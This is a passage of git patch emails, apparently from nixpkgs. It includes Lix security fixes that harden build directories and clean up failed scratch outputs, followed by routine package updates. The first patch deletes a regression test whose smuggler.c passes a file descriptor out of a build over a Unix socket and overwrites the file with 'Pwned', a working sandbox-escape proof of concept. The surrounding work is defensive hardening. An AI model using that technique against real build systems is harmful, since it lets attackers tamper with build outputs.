+- // Write a single null byte too. +- msg.msg_iov = malloc(sizeof(struct iovec)); +- msg.msg_iov[0].iov_base = ""; +- msg.msg_iov[0].iov_len = 1; +- msg.msg_iovlen = 1; +- +- // Send it to the othher side of this connection. +- res = sendmsg(sock, &msg, 0); +- if (res < 0) perror("sendmsg"); +- int buf; +- +- // Wait for the server to close the socket, implying that it has +- // received the commmand. +- recv(sock, (void *)&buf, sizeof(int), 0); +-} +diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c +deleted file mode 100644 +index 82acf37e6..000000000 +--- a/tests/nixos/ca-fd-leak/smuggler.c ++++ /dev/null +@@ -1,66 +0,0 @@ +-#include +-#include +-#include +-#include +-#include +-#include +-#include +- +-int main(int argc, char **argv) { +- +- assert(argc == 2); +- +- int sock = socket(AF_UNIX, SOCK_STREAM, 0); +- +- // Bind to the socket. +- struct sockaddr_un data; +- data.sun_family = AF_UNIX; +- data.sun_path[0] = 0; +- strcpy(data.sun_path + 1, argv[1]); +- int res = bind(sock, (const struct sockaddr *)&data, +- offsetof(struct sockaddr_un, sun_path) +- + strlen(argv[1]) +- + 1); +- if (res < 0) perror("bind"); +- +- res = listen(sock, 1); +- if (res < 0) perror("listen"); +- +- int smuggling_fd = -1; +- +- // Accept the connection a first time to receive the file descriptor. +- fprintf(stderr, "%s\n", "Waiting for the first connection"); +- int a = accept(sock, 0, 0); +- if (a < 0) perror("accept"); +- +- struct msghdr msg = {0}; +- msg.msg_control = malloc(128); +- msg.msg_controllen = 128; +- +- // Receive the file descriptor as sent by the smuggler. +- recvmsg(a, &msg, 0); +- +- struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); +- while (hdr) { +- if (hdr->cmsg_level == SOL_SOCKET +- && hdr->cmsg_type == SCM_RIGHTS) { +- +- // Grab the copy of the file descriptor. +- memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); +- } +- +- hdr = CMSG_NXTHDR(&msg, hdr); +- } +- fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); +- close(a); +- +- // Wait for a second connection, which will tell us that the build is +- // done +- a = accept(sock, 0, 0); +- fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); +- // Write a new content to the file +- if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); +- char * new_content = "Pwned\n"; +- int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); +- if (written_bytes != strlen(new_content)) perror("write"); +-} +diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix +index 474b4ad64..2ad0923e1 100644 +--- a/tests/nixos/default.nix ++++ b/tests/nixos/default.nix +@@ -160,8 +160,6 @@ in + ["i686-linux" "x86_64-linux"] + (system: runNixOSTestFor system ./setuid/setuid.nix); + +- ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; +- + fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git; + + symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix; +diff --git a/tests/nixos/fetchurl.nix b/tests/nixos/fetchurl.nix +index 719405be5..1626e1c03 100644 +--- a/tests/nixos/fetchurl.nix ++++ b/tests/nixos/fetchurl.nix +@@ -52,7 +52,7 @@ in + + security.pki.certificateFiles = [ "${goodCert}/cert.pem" ]; + +- networking.hosts."127.0.0.1" = [ "good" "bad" ]; ++ networking.hosts."192.168.1.1" = [ "good" "bad" ]; + + virtualisation.writableStore = true; + +-- +2.49.0 + + +From 05eba34893122d395774b4ee5eaf4c03ae588ea0 Mon Sep 17 00:00:00 2001 +From: eldritch horrors +Date: Sun, 30 Mar 2025 16:45:34 +0200 +Subject: [SECURITY FIX 11/12] libstore: don't default build-dir to temp-dir + +if a build directory is accessible to other users it is possible to +smuggle data in and out of build directories. usually this ins only +a build purity problem, but in combination with other issues it can +be used to break out of a build sandbox. to prevent this we default +to using a subdirectory of nixStateDir (which is more restrictive). + +Change-Id: Iacfc9b50534de158618c815f9fb99d7dae1be4d0 +--- + doc/manual/rl-next/build-dir-mandatory.md | 12 +++++++++++ + lix/libstore/build/local-derivation-goal.cc | 4 +++- + lix/libstore/settings/build-dir.md | 18 ++++++++++++---- + misc/systemd/nix-daemon.conf.in | 3 ++- + .../build-remote-trustless-should-fail-0.sh | 1 - + tests/functional/build-remote-trustless.sh | 1 - + tests/functional/build-remote.sh | 1 - + tests/functional/check.sh | 21 ------------------- + tests/functional/supplementary-groups.sh | 1 - + 9 files changed, 31 insertions(+), 31 deletions(-) + create mode 100644 doc/manual/rl-next/build-dir-mandatory.md + +diff --git a/doc/manual/rl-next/build-dir-mandatory.md b/doc/manual/rl-next/build-dir-mandatory.md +new file mode 100644 +index 000000000..6f69bbba3 +--- /dev/null ++++ b/doc/manual/rl-next/build-dir-mandatory.md +@@ -0,0 +1,12 @@ ++--- ++synopsis: "`build-dir` no longer defaults to `temp-dir`" ++cls: [] ++category: "Fixes" ++credits: [horrors] ++--- ++ ++The directory in which temporary build directories are created no longer defaults ++to the value of the `temp-dir` setting to avoid builders making their directories ++world-accessible. This behavior has been used to escape the build sandbox and can ++cause build impurities even when not used maliciously. We now default to `builds` ++in `NIX_STATE_DIR` (which is `/nix/var/nix/builds` in the default configuration). +diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc +index 7ccb0ad33..2e22f2544 100644 +--- a/lix/libstore/build/local-derivation-goal.cc ++++ b/lix/libstore/build/local-derivation-goal.cc +@@ -435,10 +435,12 @@ try { + }); + } + ++ createDirs(settings.buildDir.get()); ++ + /* Create a temporary directory where the build will take + place. */ + tmpDir = createTempDir( +- settings.buildDir.get().value_or(""), ++ settings.buildDir.get(), + "nix-build-" + std::string(drvPath.name()), + false, + false, +diff --git a/lix/libstore/settings/build-dir.md b/lix/libstore/settings/build-dir.md +index f518d52a5..738368622 100644 +--- a/lix/libstore/settings/build-dir.md ++++ b/lix/libstore/settings/build-dir.md +@@ -1,14 +1,24 @@ + --- + name: build-dir + internalName: buildDir +-settingType: PathsSetting> +-default: null ++settingType: PathsSetting ++defaultText: "`«nixStateDir»/builds`" ++defaultExpr: nixStateDir + "/builds" + --- + The directory on the host, in which derivations' temporary build directories are created. + +-If not set, Nix will use the [`temp-dir`](#conf-temp-dir) setting if set, otherwise the system temporary directory indicated by the `TMPDIR` environment variable. +-Note that builds are often performed by the Nix daemon, so its `TMPDIR` is used, and not that of the Nix command line interface. ++If not set, Lix will use the `builds` subdirectory of its configured state directory. ++Lix will create this directory automatically with suitable permissions if it does not ++exist, otherwise its permissions must allow all users to traverse the directory (i.e. ++it must have `o+x` set, in unix parlance) for non-sandboxed builds to work correctly. + + This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files. + + If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir). ++ ++> Important: ++> ++> `build-dir` must not be set to a world-writable directory. Placing temporary build ++> directories in a world-writable place allows other users to access or modify build ++> data that is currently in use. This alone is merely an impurity, but combined with ++> another factor this has allowed malicious derivations to escape the build sandbox. +diff --git a/misc/systemd/nix-daemon.conf.in b/misc/systemd/nix-daemon.conf.in +index e7b264234..a0ddc4019 100644 +--- a/misc/systemd/nix-daemon.conf.in ++++ b/misc/systemd/nix-daemon.conf.in +@@ -1 +1,2 @@ +-d @localstatedir@/nix/daemon-socket 0755 root root - - ++d @localstatedir@/nix/daemon-socket 0755 root root - - ++d @localstatedir@/nix/builds 0755 root root 7d - +diff --git a/tests/functional/build-remote-trustless-should-fail-0.sh b/tests/functional/build-remote-trustless-should-fail-0.sh +index 1582a7b32..e938e63a2 100644 +--- a/tests/functional/build-remote-trustless-should-fail-0.sh ++++ b/tests/functional/build-remote-trustless-should-fail-0.sh +@@ -8,7 +8,6 @@ requireSandboxSupport + [[ $busybox =~ busybox ]] || skipTest "no busybox" + + unset NIX_STORE_DIR +-unset NIX_STATE_DIR + + # We first build a dependency of the derivation we eventually want to + # build. +diff --git a/tests/functional/build-remote-trustless.sh b/tests/functional/build-remote-trustless.sh +index 81e5253bf..a0733fd4a 100644 +--- a/tests/functional/build-remote-trustless.sh ++++ b/tests/functional/build-remote-trustless.sh +@@ -2,7 +2,6 @@ requireSandboxSupport + [[ $busybox =~ busybox ]] || skipTest "no busybox" + + unset NIX_STORE_DIR +-unset NIX_STATE_DIR + + remoteDir=$TEST_ROOT/remote + +diff --git a/tests/functional/build-remote.sh b/tests/functional/build-remote.sh +index 9b2f5feaf..c7aa09745 100644 +--- a/tests/functional/build-remote.sh ++++ b/tests/functional/build-remote.sh +@@ -3,7 +3,6 @@ requireSandboxSupport + + # Avoid store dir being inside sandbox build-dir + unset NIX_STORE_DIR +-unset NIX_STATE_DIR + + function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; } + +diff --git a/tests/functional/check.sh b/tests/functional/check.sh +index fc63b9e21..e6d017aa1 100644 +--- a/tests/functional/check.sh ++++ b/tests/functional/check.sh +@@ -49,27 +49,6 @@ test_custom_build_dir() { + } + test_custom_build_dir + +-test_custom_temp_dir() { +- # like test_custom_build_dir(), but uses the temp-dir setting instead +- # build-dir inherits from temp-dir when build-dir is unset +- local customTempDir="$TEST_ROOT/custom-temp-dir" +- +- mkdir "$customTempDir" +- nix-build check.nix -A failed --argstr checkBuildId $checkBuildId \ +- --no-out-link --keep-failed --option temp-dir "$customTempDir" 2> $TEST_ROOT/log || status=$? +- [ "$status" = "100" ] +- [[ 1 == "$(count "$customTempDir/nix-build-"*)" ]] +- local buildDir="$customTempDir/nix-build-"* +- grep $checkBuildId $buildDir/checkBuildId +- +- # also check a separate code path that doesn't involve build-dir +- # nix-shell uses temp-dir for its rcfile path +- rcpath=$(NIX_BUILD_SHELL=$SHELL nix-shell check.nix -A deterministic --option temp-dir "$customTempDir" --run 'echo $0' 2> $TEST_ROOT/log) +- # rcpath is /nix-shell-*/rc +- [[ $rcpath = "$customTempDir"/* ]] +-} +-test_custom_temp_dir +- + test_shell_preserves_tmpdir() { + # ensure commands that spawn interactive shells don't overwrite TMPDIR with temp-dir + local envTempDir=$TEST_ROOT/shell-temp-dir-env +diff --git a/tests/functional/supplementary-groups.sh b/tests/functional/supplementary-groups.sh +index d18fb2414..c1a949eb4 100644 +--- a/tests/functional/supplementary-groups.sh ++++ b/tests/functional/supplementary-groups.sh +@@ -10,7 +10,6 @@ unshare --mount --map-root-user bash < +Date: Sat, 26 Apr 2025 20:38:58 +0200 +Subject: [SECURITY FIX 12/12] libstore/build: automatic clean up of + unsuccessfully built scratch outputs + +When a build fails, its scratch output paths are not cleaned up. + +Until recently, this was deemed not a problem but as part of the effort +to harden the Nix builds and protect these paths against being part of a +staged attack (race conditions, etc.), we automatically cleanup after +failed builds. + +Change-Id: I58481b1cc83826298b9d80d37fecf81f117ccb09 +Signed-off-by: Raito Bezarius +--- + .../aggressive-derivation-output-cleanups.md | 15 +++++++ + lix/libstore/build/local-derivation-goal.cc | 41 +++++++++++++++---- + lix/libstore/build/local-derivation-goal.hh | 15 ++++++- + tests/nixos/default.nix | 3 ++ + tests/nixos/non-chroot-misc/default.nix | 34 +++++++++++++++ + 5 files changed, 99 insertions(+), 9 deletions(-) + create mode 100644 doc/manual/rl-next/aggressive-derivation-output-cleanups.md + create mode 100644 tests/nixos/non-chroot-misc/default.nix + +diff --git a/doc/manual/rl-next/aggressive-derivation-output-cleanups.md b/doc/manual/rl-next/aggressive-derivation-output-cleanups.md +new file mode 100644 +index 000000000..7e94b99df +--- /dev/null ++++ b/doc/manual/rl-next/aggressive-derivation-output-cleanups.md +@@ -0,0 +1,15 @@ ++--- ++synopsis: "Always clean up scratch paths after derivations failed to build" ++issues: [] ++cls: [] ++category: "Fixes" ++credits: ["raito", "horrors"] ++--- ++ ++Previously, scratch paths created during builds were not always cleaned up if ++the derivation failed, potentially leaving behind unnecessary temporary files ++or directories in the Nix store. ++ ++This fix ensures that such paths are consistently removed after a failed build, ++improving Nix store hygiene, hardening Lix against mis-reuse of failed builds ++scratch paths. +diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc +index 2e22f2544..13bda5df9 100644 +--- a/lix/libstore/build/local-derivation-goal.cc ++++ b/lix/libstore/build/local-derivation-goal.cc +@@ -393,9 +393,13 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeCheck() + + void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck() + { +- /* Delete unused redirected outputs (when doing hash rewriting). */ +- for (auto & i : redirectedOutputs) +- deletePath(worker.store.Store::toRealPath(i.second)); ++ /* In the past, redirected outputs were manually tracked for deletion. ++ * Now that we have the scratch outputs cleaner which are a superset of ++ * redirected outputs, we just fire all uncancelled automatic deleters now. ++ * ++ * This should clean up any paths that IS NOT registered in the database. ++ */ ++ scratchOutputsCleaner.clear(); + + /* Delete the chroot (if we were using one). */ + autoDelChroot.reset(); /* this runs the destructor */ +@@ -483,6 +487,10 @@ try { + to use a temporary path */ + makeFallbackPath(status.known->path); + scratchOutputs.insert_or_assign(outputName, scratchPath); ++ /* Schedule this scratch output path for automatic deletion ++ * if we do not cancel it, e.g. when registering the outputs. ++ */ ++ scratchOutputsCleaner.emplace(outputName, worker.store.printStorePath(scratchPath)); + + /* Substitute output placeholders with the scratch output paths. + We'll use during the build. */ +@@ -505,8 +513,6 @@ try { + std::string h2 { scratchPath.hashPart() }; + inputRewrites[h1] = h2; + } +- +- redirectedOutputs.insert_or_assign(std::move(fixedFinalPath), std::move(scratchPath)); + } + + /* Construct the environment passed to the builder. */ +@@ -1966,7 +1972,9 @@ try { + } + + /* Don't register anything, since we already have the +- previous versions which we're comparing. */ ++ previous versions which we're comparing. ++ NOTE: this means that the `.check` path will be automatically deleted. ++ */ + continue; + } + +@@ -1990,8 +1998,13 @@ try { + /* If it's a CA path, register it right away. This is necessary if it + isn't statically known so that we can safely unlock the path before + the next iteration */ +- if (newInfo.ca) ++ if (newInfo.ca) { + TRY_AWAIT(localStore.registerValidPaths({{newInfo.path, newInfo}})); ++ /* Cancel automatic deletion of that output if it was a scratch output. */ ++ if (auto cleaner = scratchOutputsCleaner.extract(outputName)) { ++ cleaner.mapped().cancel(); ++ } ++ } + + infos.emplace(outputName, std::move(newInfo)); + } +@@ -2030,6 +2043,13 @@ try { + infos2.insert_or_assign(newInfo.path, newInfo); + } + TRY_AWAIT(localStore.registerValidPaths(infos2)); ++ ++ /* Cancel automatic deletion of that output if it was a scratch output that we just registered. */ ++ for (auto & [outputName, _ ] : infos) { ++ if (auto cleaner = scratchOutputsCleaner.extract(outputName)) { ++ cleaner.mapped().cancel(); ++ } ++ } + } + + /* In case of a fixed-output derivation hash mismatch, throw an +@@ -2057,6 +2077,13 @@ try { + builtOutputs.emplace(outputName, thisRealisation); + } + ++ /* NOTE: At this point, all outputs MAY NOT have been registered. ++ * Therefore, there may remains auto-deleters pending in the cleaner list (`scratchOutputsCleaner`). ++ * ++ * They will be finally deleted but we have no way to assert they all have been, e.g. ++ * `assert(scratchOutputsCleaner.size() == 0)` cannot be written. ++ */ ++ + co_return builtOutputs; + } catch (...) { + co_return result::current_exception(); +diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh +index a0031e141..7e1b9a632 100644 +--- a/lix/libstore/build/local-derivation-goal.hh ++++ b/lix/libstore/build/local-derivation-goal.hh +@@ -111,8 +111,6 @@ struct LocalDerivationGoal : public DerivationGoal + * Hash rewriting. + */ + StringMap inputRewrites, outputRewrites; +- typedef map RedirectedOutputs; +- RedirectedOutputs redirectedOutputs; + + /** + * The outputs paths used during the build. +@@ -129,6 +127,19 @@ struct LocalDerivationGoal : public DerivationGoal + * self-references. + */ + OutputPathMap scratchOutputs; ++ /** ++ * Output paths used during the build are scheduled for ++ * automatic cleanup unless they have been successfully built. ++ * ++ * `registerOutputs` take care of cancelling the cleanups ++ * and clearing this vector. ++ * ++ * `startBuilder` take care of filling this vector ++ * as `scratchOutputs` gets filled. ++ * ++ * This is a map from output names to automatic delete handles. ++ */ ++ std::map scratchOutputsCleaner; + + /** + * Path registration info from the previous round, if we're +diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix +index 2ad0923e1..7b9e11613 100644 +--- a/tests/nixos/default.nix ++++ b/tests/nixos/default.nix +@@ -164,6 +164,9 @@ in + + symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix; + ++ # Use this test to test things that cannot easily be tested under chroot Nix stores in functional test suite. ++ non-chroot-misc = runNixOSTestFor "x86_64-linux" ./non-chroot-misc; ++ + noNewPrivilegesInSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/sandbox.nix; + + noNewPrivilegesOutsideSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/no-sandbox.nix; +diff --git a/tests/nixos/non-chroot-misc/default.nix b/tests/nixos/non-chroot-misc/default.nix +new file mode 100644 +index 000000000..93a66a595 +--- /dev/null ++++ b/tests/nixos/non-chroot-misc/default.nix +@@ -0,0 +1,34 @@ ++{ ... }: ++# Misc things we want to test inside of a non redirected, non chroot Nix store. ++let ++ nonAutoCleaningFailingDerivationCode = '' ++ derivation { ++ name = "scratch-failing"; ++ system = builtins.currentSystem; ++ builder = "/bin/sh"; ++ args = [ (builtins.toFile "builder.sh" "echo bonjour > $out; echo out: $out; false") ]; ++ } ++ ''; ++in ++{ ++ name = "non-chroot-sandbox-misc"; ++ ++ nodes.machine = { ++ }; ++ ++ testScript = { nodes }: '' ++ import re ++ start_all() ++ ++ # You might ask yourself why write such a convoluted thing? ++ # The condition for fooling Nix into NOT cleaning up the output path are non trivial and unclear. ++ # This is one of those: create a derivation, mkdir or touch the $out path, communicate it back. ++ # Even with a sandboxed Lix, you will observe leftovers before 2.93.0. After this version, this test passes. ++ result = machine.fail("""nix-build --substituters "" -E '${nonAutoCleaningFailingDerivationCode}' 2>&1""") ++ match = re.search(r'out: (\S+)', result) ++ assert match is not None, "Did not find Nix store path in the result of the failing build" ++ outpath = match.group(1).strip() ++ print(f"Found Nix store path: {outpath}") ++ machine.fail(f'stat {outpath}') ++ ''; ++} +-- +2.49.0 + From 5a38cc1ae133c857e230c1d9d1ca61ae188c0648 Mon Sep 17 00:00:00 2001 From: Schweber <64630479+Schweber@users.noreply.github.com> Date: Tue, 24 Jun 2025 16:34:05 +0200 Subject: [PATCH 337/390] hdrop: 0.7.7 -> 0.7.8 --- pkgs/by-name/hd/hdrop/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/hd/hdrop/package.nix b/pkgs/by-name/hd/hdrop/package.nix index a7aaf315e818..3d5a8b7d237a 100644 --- a/pkgs/by-name/hd/hdrop/package.nix +++ b/pkgs/by-name/hd/hdrop/package.nix @@ -15,13 +15,13 @@ stdenvNoCC.mkDerivation rec { pname = "hdrop"; - version = "0.7.7"; + version = "0.7.8"; src = fetchFromGitHub { owner = "Schweber"; repo = "hdrop"; rev = "v${version}"; - hash = "sha256-T+hyC3YfTMn5txFlFbm/+wKWj21vuwIN5lfe+iiAm8c="; + hash = "sha256-JlfSGJBN3aJnZcN8aY464mmADP5boenGQzOxv2sswGc="; }; nativeBuildInputs = [ From bc0594aad6b89003284a28ef39be268f499a71f5 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 14:38:11 +0000 Subject: [PATCH 338/390] allure: 2.34.0 -> 2.34.1 --- pkgs/by-name/al/allure/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/al/allure/package.nix b/pkgs/by-name/al/allure/package.nix index cbb780c2ee5d..8220348a55c5 100644 --- a/pkgs/by-name/al/allure/package.nix +++ b/pkgs/by-name/al/allure/package.nix @@ -8,11 +8,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "allure"; - version = "2.34.0"; + version = "2.34.1"; src = fetchurl { url = "https://github.com/allure-framework/allure2/releases/download/${finalAttrs.version}/allure-${finalAttrs.version}.tgz"; - hash = "sha256-1R4x8LjUv4ZQXfFeJ1HkHml3sRLhb1tRV3UqApVEo7U="; + hash = "sha256-3xPFiDQp7dUEGiTW0HKolE5lJ00ddqRB/UXSWFURNJo="; }; dontConfigure = true; From 2414fefb794f861708d303d84aee72b2dd7300af Mon Sep 17 00:00:00 2001 From: Matt Sturgeon Date: Fri, 20 Jun 2025 10:57:28 +0100 Subject: [PATCH 339/390] python3Packages.chromadb: improve doCheck condition On aarch64-linux onnxruntime cannot be imported, as it attempts to read /sys/devices/system/cpu, which does not exist in the sandbox. As onnxruntime cannot be imported, chromadb cannot be tested. However, this issue only applies in the build sandbox, not at runtime. Therefore the package doesn't need to be marked broken. Updated the condition to check `buildPlatform` instead of `hostPlatform`, as the issue relates to the build sandbox and is not a runtime issue. Use `isAarch` and `isLinux` attributes instead of doing string comparison. --- See https://github.com/NixOS/nixpkgs/pull/412528#discussion_r2129396116 And upstream onnxruntime issue: https://github.com/microsoft/onnxruntime/issues/10038 --- pkgs/development/python-modules/chromadb/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/chromadb/default.nix b/pkgs/development/python-modules/chromadb/default.nix index 868cd5a7ca42..af829cbb5c1a 100644 --- a/pkgs/development/python-modules/chromadb/default.nix +++ b/pkgs/development/python-modules/chromadb/default.nix @@ -171,10 +171,10 @@ buildPythonPackage rec { # Disable on aarch64-linux due to broken onnxruntime # https://github.com/microsoft/onnxruntime/issues/10038 - pythonImportsCheck = lib.optionals (stdenv.hostPlatform.system != "aarch64-linux") [ "chromadb" ]; + pythonImportsCheck = lib.optionals doCheck [ "chromadb" ]; # Test collection breaks on aarch64-linux - doCheck = stdenv.hostPlatform.system != "aarch64-linux"; + doCheck = with stdenv.buildPlatform; !(isAarch && isLinux); env = { ZSTD_SYS_USE_PKG_CONFIG = true; From 663fb4f23e837d1094fba8f6f2449deeae1b560a Mon Sep 17 00:00:00 2001 From: Matt Sturgeon Date: Fri, 20 Jun 2025 13:03:36 +0100 Subject: [PATCH 340/390] vectorcode: move installShellFiles to nativeBuildInputs It was accidentally in `nativeCheckInputs`, so the build fails when `doCheck = false`. --- pkgs/by-name/ve/vectorcode/package.nix | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/pkgs/by-name/ve/vectorcode/package.nix b/pkgs/by-name/ve/vectorcode/package.nix index 8d69ef0eb627..6113bfa084ca 100644 --- a/pkgs/by-name/ve/vectorcode/package.nix +++ b/pkgs/by-name/ve/vectorcode/package.nix @@ -107,6 +107,10 @@ python.pkgs.buildPythonApplication rec { ]; }; + nativeBuildInputs = [ + installShellFiles + ]; + postInstall = '' $out/bin/vectorcode --print-completion=bash >vectorcode.bash $out/bin/vectorcode --print-completion=zsh >vectorcode.zsh @@ -127,7 +131,6 @@ python.pkgs.buildPythonApplication rec { nativeCheckInputs = [ - installShellFiles versionCheckHook ] ++ (with python.pkgs; [ From f40c50966574298066d4a16b54053affd15bfda1 Mon Sep 17 00:00:00 2001 From: Matt Sturgeon Date: Wed, 18 Jun 2025 12:36:22 +0100 Subject: [PATCH 341/390] vectorcode: add python passthru This allows accessing the overridden chromadb in the overridden python instance. --- pkgs/by-name/ve/vectorcode/package.nix | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/pkgs/by-name/ve/vectorcode/package.nix b/pkgs/by-name/ve/vectorcode/package.nix index 6113bfa084ca..ca61d11be394 100644 --- a/pkgs/by-name/ve/vectorcode/package.nix +++ b/pkgs/by-name/ve/vectorcode/package.nix @@ -148,6 +148,12 @@ python.pkgs.buildPythonApplication rec { "test_supported_rerankers_initialization" ]; + passthru = { + # Expose these overridden inputs for debugging + inherit python; + inherit (python.pkgs) chromadb; + }; + meta = { description = "Code repository indexing tool to supercharge your LLM experience"; homepage = "https://github.com/Davidyz/VectorCode"; From 57c2c422b2b655e1b9baa698a4df5b6e8a31defd Mon Sep 17 00:00:00 2001 From: Matt Sturgeon Date: Fri, 20 Jun 2025 12:13:00 +0100 Subject: [PATCH 342/390] vectorcode: inherit `doCheck` from chromadb The tests need to import onnxruntime (a transitive of chromadb), however it has issues running in the build sandbox on aarch64-linux. It may work at runtime, so the package is not marked broken, however it will break tests, so the check phase is disabled when building on aarch64-linux. Since the issue comes via chromadb, we inherit its `doCheck` attribute. --- pkgs/by-name/ve/vectorcode/package.nix | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/pkgs/by-name/ve/vectorcode/package.nix b/pkgs/by-name/ve/vectorcode/package.nix index ca61d11be394..7ada551b10b0 100644 --- a/pkgs/by-name/ve/vectorcode/package.nix +++ b/pkgs/by-name/ve/vectorcode/package.nix @@ -127,6 +127,12 @@ python.pkgs.buildPythonApplication rec { }; ''; + # Test collection breaks on aarch64-linux, because the transitive onnxruntime + # tries to read /sys/devices/system/cpu, which does not exist in the sandbox. + # + # We inherit the issue from chromadb, so inherit its `doCheck` attribute. + inherit (python.pkgs.chromadb) doCheck; + pythonImportsCheck = [ "vectorcode" ]; nativeCheckInputs = From 3cf4c4b9dd483dfbc72360bd69281dcd4e5a3dfb Mon Sep 17 00:00:00 2001 From: Sarah Clark Date: Wed, 18 Jun 2025 11:42:38 +0100 Subject: [PATCH 343/390] vectorcode.chromadb: enable check phase Using a subset of disabled tests from the base package, as others only apply to >1.0 --- Additionally, disable test_chroma.py and test_client.py: These tests have issues running in parallel, such as when building the python 3.12 and 3.13 versions simultaneously. E.g. when running nixpkgs-review or unlucky timing in hydra. Usually issues show up as: ValueError: An instance of Chroma already exists for ephemeral with different settings --- pkgs/by-name/ve/vectorcode/package.nix | 42 +++++++++++++++++++++++++- 1 file changed, 41 insertions(+), 1 deletion(-) diff --git a/pkgs/by-name/ve/vectorcode/package.nix b/pkgs/by-name/ve/vectorcode/package.nix index 7ada551b10b0..a54aac009134 100644 --- a/pkgs/by-name/ve/vectorcode/package.nix +++ b/pkgs/by-name/ve/vectorcode/package.nix @@ -45,7 +45,47 @@ let dependencies = old.dependencies ++ [ self.chroma-hnswlib ]; - doCheck = false; + + # The base package disables additional tests, so explicitly override + disabledTests = [ + # Tests are flaky / timing sensitive + "test_fastapi_server_token_authn_allows_when_it_should_allow" + "test_fastapi_server_token_authn_rejects_when_it_should_reject" + + # Issue with event loop + "test_http_client_bw_compatibility" + + # httpx ReadError + "test_not_existing_collection_delete" + ]; + + disabledTestPaths = [ + # Tests require network access + "chromadb/test/auth/test_simple_rbac_authz.py" + "chromadb/test/db/test_system.py" + "chromadb/test/ef/test_default_ef.py" + "chromadb/test/property/" + "chromadb/test/property/test_cross_version_persist.py" + "chromadb/test/stress/" + "chromadb/test/test_api.py" + + # httpx failures + "chromadb/test/api/test_delete_database.py" + + # Cannot be loaded by pytest without path hacks (fixed in 1.0.0) + "chromadb/test/test_logservice.py" + "chromadb/test/proto/test_utils.py" + "chromadb/test/segment/distributed/test_protobuf_translation.py" + + # Hypothesis FailedHealthCheck due to nested @given tests + "chromadb/test/cache/test_cache.py" + + # Tests fail when running in parallel. + # E.g. when building the building python 3.12 and 3.13 versions simultaneously. + # ValueError: An instance of Chroma already exists for ephemeral with different settings + "chromadb/test/test_chroma.py" + "chromadb/test/test_client.py" + ]; }); }; }; From 12e016d32db7b271c1985e8f3e29a441d3d99845 Mon Sep 17 00:00:00 2001 From: Thiago Kenji Okada Date: Tue, 24 Jun 2025 15:49:24 +0100 Subject: [PATCH 344/390] nixos-rebuild-ng: add FLAKE_FLAGS to `nix copy` --- pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py | 1 + pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py | 2 ++ pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py | 2 ++ 3 files changed, 5 insertions(+) diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py index acc9448fec00..0d8abca0f92d 100644 --- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py +++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py @@ -210,6 +210,7 @@ def copy_closure( run_wrapper( [ "nix", + *FLAKE_FLAGS, "copy", *dict_to_flags(copy_flags), "--from", diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py index 504d016bbfbb..e3678420bc14 100644 --- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py +++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py @@ -688,6 +688,8 @@ def test_execute_nix_switch_build_target_host( call( [ "nix", + "--extra-experimental-features", + "nix-command flakes", "copy", "--from", "ssh://user@build-host", diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py index 05cb69e69d8b..1bca16260012 100644 --- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py +++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py @@ -263,6 +263,8 @@ def test_copy_closure(monkeypatch: MonkeyPatch) -> None: mock_run.assert_called_with( [ "nix", + "--extra-experimental-features", + "nix-command flakes", "copy", "--copy-flag", "--from", From e8b58caa68fe265cb9563fd4bd57d22f4d0eadcb Mon Sep 17 00:00:00 2001 From: 